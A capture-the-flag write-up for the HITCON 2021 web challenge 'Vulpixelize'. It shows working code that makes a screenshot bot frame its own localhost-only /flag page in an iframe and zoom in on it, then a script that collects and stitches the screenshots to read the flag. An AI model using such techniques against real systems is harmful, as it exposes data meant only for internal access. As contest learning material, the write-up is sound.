# HITCON 2021 - Vulpixelize (232 points)
My solution for this challenge is maybe unintended and not very technical, but it works :)  TDLR : I created an iframe and zoom on it enough to exfiltrate the flag although there is a blurring  
---
We can send a URL that the bot will visit.  It then takes a screenshot of the page, blurs it and returns us the result :  
![vulpixelize](https://github.com/ret2school/ctf/raw/master/2021/hitcon/web/vulpixelize/img/vulpixelize.png)  
```py@app.route('/submit', methods=['GET'])def submit():    path = 'static/images/%s.png' % uuid.uuid4().hex    url  = request.args.get('url')    if url:        # secrity check        if not url.startswith('http://') and not url.startswith('https://'):            return message(msg='malformed url')
        # access url        try:            driver.get(url)            data = driver.get_screenshot_as_png()        except common.exceptions.WebDriverException as e:            return message(msg=str(e))
        # save result        img = Image.open(io.BytesIO(data))        img = img.resize((64,64), resample=Image.BILINEAR)        img = img.resize((1920,1080), Image.NEAREST)        img.save(path)
        return message(msg=path)    else:        return message(msg="url not found :(")``` There is a special endpoint at `/flag` that displays the flag only if we come from `127.0.0.1`, so only the bot can view the flag :  ```py@app.route('/flag')def flag():    print(request.remote_addr)    if request.remote_addr == '127.0.0.1':        return message(FLAG)    return message("allow only from local")``` The idea is to redirect the bot to a page we control that contains an iframe which refers to the `/flag` endpoint, and zooms on parts of the flag to have large enough characters to bypass the blur.   I used a combo of `div` with an `iframe` embedded in it to get only a part of the flag, and `transform`, `left`, `top` CSS properties to zoom on these parts.  Here is the jinja template that does that :  ```html
<html>    <head>        <style>#outerdiv {    width: 1800px;    height: 1000px;    overflow: hidden;    position: relative;}
#inneriframe {    position: absolute;    width: 100px;    height: 100px;    zoom: 20;    -moz-transform: scale(20);    -moz-transform-origin: 0 0;    -webkit-transform: scale(20);    -webkit-transform-origin: 0 0;    border: none;    left: -{{idx}}px;    top: -320px;}        </style>    </head>    <body>        <div id="outerdiv">            <iframe src="http://127.0.0.1:8000/flag#msg" id="inneriframe" scrolling=yes></iframe>        </div>    </body></html>``` Each picture looks like this :  ![first part of flag](https://github.com/ret2school/ctf/raw/master/2021/hitcon/web/vulpixelize/iimg/00.png)   The python script that automates the process (increment the `left` in the template and save the screenshot) :  ```pyfrom jinja2 import Templatefrom bs4 import BeautifulSoup
import requestsimport os
HOST = "http://3.113.172.41:26478/"# HOST = "http://0.0.0.0:8000/"
html = Template(open("./index.html.jinja2").read())
for idx in range(13):    with open("./index.html", "w") as f:        f.write(html.render(idx=450+90*idx))
    r = requests.get(HOST + "/submit?url=http%3A%2F%2FMON-IP%3AMON-PORT%2F")    soup = BeautifulSoup(r.text, "html.parser")
    img = requests.get(HOST + soup.find(id="msg").a["href"])    with open("img/{:02d}.png".format(idx), "wb") as f:        f.write(img.content)
    print(idx)
os.system("bash -c 'convert img/{00..06}.png +append img/flag-0.png'")os.system("bash -c 'convert img/{07..12}.png +append img/flag-1.png'")``` The last two lines assemble all the images in 2 images that contains the flag :  ![flag 0](https://github.com/ret2school/ctf/raw/master/2021/hitcon/web/vulpixelize/img/flag-0.png)  ![flag 1](https://github.com/ret2school/ctf/raw/master/2021/hitcon/web/vulpixelize/img/flag-1.png)   FLAG : `hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}`